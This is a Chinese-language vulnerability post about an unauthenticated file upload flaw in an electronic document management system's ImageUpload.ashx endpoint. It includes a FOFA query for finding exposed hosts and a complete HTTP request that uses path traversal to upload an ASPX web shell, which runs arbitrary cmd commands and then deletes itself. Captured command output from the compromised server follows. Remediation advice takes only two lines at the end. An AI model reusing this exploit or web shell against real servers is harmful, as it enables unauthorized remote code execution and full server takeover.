

电子资料管理系统 ImageUpload.ashx 文件上传致RCE漏洞

漏洞描述

电子资料管理系统 /Menu/ImageManger/ImageUpload.ashx 接口存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响版本

电子资料管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="Menu/Login/ThirdLoginHandler.ashx"

POC/EXP：

POST /Menu/ImageManger/ImageUpload.ashx HTTP/1.1

Host: 127.0.0.1

Cookie: ASP.NET_SessionId=rv4lsx3uf0oec2yy1n54ya45

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/131.0.0.0 Safari/537.36

Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK

Upgrade-Insecure-Requests: 1

Accept-Encoding: gzip

-----WebKitFormBoundaryssh7UfnPpGU7BXfK

Content-Disposition: form-data; name="isUpload"

印章图片

-----WebKitFormBoundaryssh7UfnPpGU7BXfK

Content-Disposition: form-data; name="entid"

666

-----WebKitFormBoundaryssh7UfnPpGU7BXfK

Content-Disposition: form-data; name="Type"

1

-----WebKitFormBoundaryssh7UfnPpGU7BXfK

Content-Disposition: form-data; name="Filedata"; filename="../rce.aspx"

Content-Type: text/plain

```
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStand
ardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(
out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
-----WebKitFormBoundaryssh7UfnPpGU7BXfK--
```

The screenshot displays a web browser's developer tools interface, specifically the 'Network' tab. A POST request to the endpoint `/Menu/ImageManger/ImageUpload.ashx` is selected. The request details on the left show headers like `Host`, `Cookie`, `Upgrade-Insecure-Requests`, `User-Agent`, `Content-Type` (multipart/form-data), `Upgrade-Insecure-Requests`, `Accept-Encoding`, and the request body with form data including `isUpload`, `entid` (value 666), `Type`, and `Filedata` (filename: `../rce.aspx`, content-type: `text/plain`). The response on the right is an `HTTP/1.1 200 OK` with headers like `Cache-Control`, `Content-Type` (text/plain), `Server`, `X-AspNet-Version`, `X-Powered-By`, `Access-Control-Allow-Origin`, `Access-Control-Allow-Headers`, `Access-Control-Allow-Methods`, `DATE`, and `Content-Length` (86). The response body, highlighted with a red box, is a JSON object: `{"Code":0,"Message":"操作成功","Source":null,"Total":0,"PageIndex":0,"PageSize":0}`.

驱动器 C 中的卷没有标签。 卷的序列号是 12B5-7D64 c:\windows\system32\inetsrv 的目录 2024/05/16 11:43

. 2024/05/16 11:43

.. 2023/12/18 13:40 235,008 abocomp.dll 2023/12/18 13:40 323,584 adsiis.dll 2023/12/18 13:40 119,808 appcmd.exe
2016/07/16 21:20 3,810 appcmd.xml 2023/12/18 13:40 184,320 AppHostNavigators.dll 2023/12/18 13:40 64,512
apphostsvc.dll 2023/12/18 13:40 405,504 appobj.dll 2023/12/18 13:40 501,248 asp.dll 2023/12/18 13:40 22,196 asp.mc
2023/12/18 13:40 129,536 aspnetca.exe 2023/12/18 13:40 23,040 asptlb.tlb 2023/12/18 13:40 40,960 authanon.dll
2023/12/18 13:40 37,888 authbas.dll 2023/12/18 13:40 27,648 authcert.dll 2023/12/18 13:40 44,544 authmap.dll
2023/12/18 13:40 40,448 authmd5.dll 2023/12/18 13:40 53,248 authsspi.dll 2023/12/18 13:40 75,776 browscap.dll
2023/12/18 13:40 34,474 browscap.ini 2023/12/18 13:40 25,088 cachfile.dll 2023/12/18 13:40 50,688 cachhttp.dll
2023/12/18 13:40 14,848 cachtokn.dll 2023/12/18 13:40 14,336 cachuri.dll 2023/12/18 13:40 43,008 cgi.dll 2023/12/18
13:40 87,040 coadmin.dll 2023/12/18 13:40 41,472 compdyn.dll 2023/12/18 13:40 52,224 compstat.dll 2023/12/18 13:4

config 2023/12/18 13:40 46,592 custerr.dll 2023/12/18 13:40 20,480 defdoc.dll 2023/12/18 13:40 39,424 diprestr.c
2023/12/18 13:40 23,552 dirlist.dll 2023/12/18 13:40

en-US 2023/12/18 13:40 68,096 filter.dll 2023/12/18 13:40 19,456 ftpconfigext.dll 2023/12/18 13:40 14,336
ftpctrlps.dll 2023/12/18 13:40 8,792 ftpext.tlb 2023/12/18 13:40 30,720 ftpextps.dll 2023/12/18 13:40 37,888
ftpghost.dll 2023/12/18 13:40 14,336 ftpmib.dll 2023/12/18 13:40 15,360 ftpres.dll 2023/12/18 13:40 382,976
ftpsvc.dll 2023/12/18 13:40 69,990 ftpsvc.mof 2023/12/18 13:40 37,376 gzip.dll 2024/05/16 11:43

History 2023/12/18 13:40 22,016 httpmib.dll 2023/12/18 13:40 17,920 hwebcore.dll 2023/12/18 13:40
63,105 iis.msc 2023/12/18 13:40 26,624 iisadmin.dll 2023/12/18 13:40 45,568 iiscertprovider.dll
2023/12/18 13:40 1,011,712 iiscfg.dll 2023/12/18 13:40 322,048 iiscore.dll 2023/12/18 13:40 101,888
iisetw.dll 2023/12/18 13:40 104,960 iisext.dll 2023/12/18 13:40 86,016 iisfcgi.dll 2023/12/18 13:40

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本